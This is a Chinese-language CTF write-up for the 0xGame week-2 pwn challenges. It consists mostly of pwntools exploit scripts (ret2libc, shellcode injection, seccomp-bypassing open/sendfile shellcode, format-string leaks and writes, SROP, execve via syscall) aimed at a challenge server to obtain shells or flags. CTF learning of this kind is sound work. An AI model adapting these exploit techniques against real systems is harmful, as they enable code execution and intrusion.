0xGame-week2-pwn解析
1747343513214731 发表于 安徽 CTF 288浏览 · 2024-10-22 10:51

ret2libc

直接溢出使用libc,但是必须要用题目给的libc文件才可以

很基础的题目
exp:

from pwn import *
elf = ELF("./ret2libc")
libc = ELF("./libc.so.6")
p = remote("47.97.58.52", 42003)
#p = process("./ret2libc")
rdi = 0x4012c3
ret = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["vuln"]
payload1 = b'a'*40 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
puts_addr= u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload2 = b'a'*40 + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p.sendline(payload2)
p.interactive()

Shellcode-lv0

看到题目就知道了,是一个shellcode
看一下main函数
循环和随机数都没啥用,直接不执行去,滑到shellcode就可以了

exp:

from pwn import *
context(os='linux', arch='amd64')
p = remote('47.97.58.52', 42012)
shellcode = asm(shellcraft.sh())
payload = b'\x90'*156 + shellcode
p.sendline(payload)
p.interactive()

Shellcode-lv1

看一下主函数
read 读入0x100个字节,然后一个循环,没啥用,还有一个沙箱,使用seccomp-tools工具查看沙箱

沙箱禁止了,那么就利用一些别的shellcode,不能够用生成的了

这个汇编是直接读flag文件的,也可以用别的,看大家怎么写了
exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote('47.97.58.52', 42013)
shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
push 257
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push 40
pop rax
syscall
    ''')
payload = b'\x90'*150 + shellcode
p.sendline(payload)
p.interactive()

ez_format

格式化字符串漏洞,保护全开主要思路是先泄露main 函数的地址(也可以泄露其他函数的地址,比如_start函数),通过main函数地址来计算出pie的基地址,然后得到bss段的flag的地址,然后将flag的地址写道栈上就可以泄露flag了
本地lib和远程libc不同,需要更换libc
如果没有这个命令可以直接去装一下

更换ld
patchelf --set-interpreter ld-linux-x86-64.so.2 ./pwn
更换libc
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn

然后我们看一下main函数
首先是打开了以一个flag文件,然后读出flag的内容,随后进入一个循环,read向buf读入0x20个字节。随后输出buf的内容,这里存在一个格式化字符串的漏洞

那么接下来就首先泄露main函数的地址,因为开启了pie,所以导致gdb下断点的方式也会改变,直接start运行,当程序输入的时候,输入aaaa,然后查看栈,发现是有main函数存在的地址的。

使用工具去泄露
这个命令是pwngdb里面的pwndbg是没有的,可以去装一下

然后根据算出来的去泄露main函数的地址

然后在mian函数中去找偏移地址,发现偏移地址是0x12f7

找到偏移地址那么pie的基地址就是main函数地址减去偏移地址

p.sendline('%17$p')
p.recvuntil('0x')
mian_addr = int(p.recv(12),16)
pie_addr = mian_addr - 0x12f7

这里就可以算出pie的基地址了,那么flag的地址就是pie的基地址加上偏移地址,这个偏移的地址也可以在ida里面寻找出来,然后最后就是把flag的地址写到栈上面,再利用printf打印的时候就会把flag打印出来

那么flag的地址就是

flag_addr = pie_addr + 0x40c0

最后利用打印,整体的exp

from pwn import *
context(arch='amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
p = remote('47.97.58.52',42001)
payload = b'%17$p'
#格式化字符串泄露main函数地址
p.send(payload)
p.recvuntil('0x')
main_addr = int(p.recv(12),16)
#接收main函数地址
pie_base = main_addr - 0x12f7
算出pie的基地址
flag_addr = pie_base + 0x40c0
#算出flag的地址
payload2 = b'%7$saaaa' + p64(flag_addr)
#利用打印
p.send(payload2)
p.interactive()

Syscall playgroun

保护全开

然后查看main函数

程序首先进入一个循环,然后给出题目,1,2,3,让用户选择一个选项。然后检查用户输入,如果是3就输出提示,要调用哪个syscall,让用户输入v5,然后利用memset函数把s内存清0,然后去条用syscall

如果这样有syscall调用的话就有思路了,可以直接去执行调用shell,因为是syscall用户的输入,所以可以直接尝试写shell

from pwn import *
context(arch = 'amd64',os = 'linux',log_level='debug')
p = remote('47.97.58.52',42010)
#定义函数menu,然后在接收到Your choice以后发送
def menu(ch):
    p.sendlineafter(b'Your choice: ',str(ch).encode())
#定义函数 addr,接收参数 data
def add(data):
    menu(1)            #首先调用menu(1)发送1调用
    p.recvuntil(b'located at ')  #到这里为止去接收一个地址
    addr = int(p.recvline().strip(),16)
    p.sendafter(b'data: ',data)  #到datd:以后,把用户的数据发送过去
    return addr                  #返回addr解析出来的地址
#定义一个exec_syscall函数,接收cnt,args参数
def exec_syscall(cnt,args):
    assert len(args) == cnt+1    #检查args列表的长度,是否等于 cnt+1
    menu(3)                      #调用menu(3)
    p.sendlineafter(b'call: ',str(args[0]).encode()) #发送args列表的第一位,就是系统调用号
    p.sendlineafter(b'count:',str(cnt).encode())     #参数的个数
    for i in range(cnt):                             #循环发送cnt的参数
        p.sendlineafter(f'argument {i}:'.encode(),str(args[i+1]).encode())
if __name__ == '__main__':
    exec_syscall(3,[59,add('/bin/sh\x00'),0,0])  #调用exec_syscall,发送bin,59是系统调用号execve
    p.interactive()

SROP

没开什么保护

这个程序的样子在我之前发的文章中有类似的,大家可以去看看有什么区别

主要是要用到syscall;ret 在后面ret2syscall的时候使用

然后就是利用到SROP的方法了,大家可以去网上的文章看,这个攻击方法,主要就是可以控制所有的寄存器,加上这个程序没有开保护,所以可以更好的利用,一般这种题目如果没有给你jmp的话基本就是用SROP了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('47.97.58.52', 42011)
syscall_ret = 0x40100A
payload = (b'a'*15).ljust(0x50,b"\x00") + p64(syscall_ret)
g1 = SigreturnFrame()
g1.rax = 0
g1.rdi = 0
g1.rsi = 0x402800
g1.rdx = 0x1000
g1.rip = syscall_ret
g1.rsp = 0x402800
payload += bytes(g1)
sleep(1)
p.send(payload)
sleep(1)
p.send(p64(0x401021))
sleep(1)
g2 = SigreturnFrame()
g2.rax = 59
g2.rdi = 0x4027c8
g2.rsi = 0
g2.rdx = 0
g2.rsp = 0x402800
g2.rip = syscall_ret
sleep(1)
payload2 = (b'a'*15 + b'\x00' + b'/bin/sh\x00').ljust(0x50,b'\x00')+p64(syscall_ret)+bytes(g2)
p.send(payload2)
p.interactive()

fmt2shellcode

这里是用mmap开了一个空间,然后进入一个循环,读0x20个字节到buf中,然后去检查buf中有没有stop,有的话就退出,然后输出buf中的,后面检测key是不是等于 26318864,如果是的话那么就读到开的可读可写可执行的地址中去,可以直接写shellcode

很标准的一个利用格式化字符串的方法就先泄露start的地址
然后再去算出pie的地址,接下来就可以利用格式化字符串了,泄露方法跟上面哪个一样,只不过函数不一样,上面泄露的是main函数,当然大家泄露其他函数也是可以的

from pwn import *
context(os='linux', arch='amd64')
p = remote('47.97.58.52', 42002)
mmap = 0x114514000
p.sendafter("something:",b'aaaabbbb%9$p')
p.recvuntil('bbbb')
pie = int(p.recv(14),16) - 0x1140
print("pie_base = ",hex(pie))
key = pie + 0x4068              #计算key的地址
payload1 = (b'%38928c' + b'%8$hn').ljust(0x10,b'a') + p64(key)
p.sendafter(b'something:',payload1)
payload2 = (b'%401c' + b'%8$hn').ljust(0x10,b'a') + p64(key + 0x2)
p.sendafter(b'something:',payload2)
p.sendafter(b'something:',b'stop\x00')
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

boom

也是保护全开

看一下main函数
read读入0x30个字节到buf中,然后检查buf中的内容,strcmp可以使用\x00进行绕过,就可以接着执行shell

这里有一个随机,所以写一个循环就可以了,试不出来多试几次就可以了

from pwn import *
context(os = 'linux',arch = 'amd64')
i = 0
while True:
    p = remote('47.97.58.52',42000)
    print('<<Times : ',hex(i))
    p.sendafter('her thinking?',b'\x00'*0x30)
    try:
        p.recvuntil("WOW,you can get her!")
        p.interactive()
    except:
        i = i + 1
        p.close
        continue
0 条评论
某人
表情
可输入 255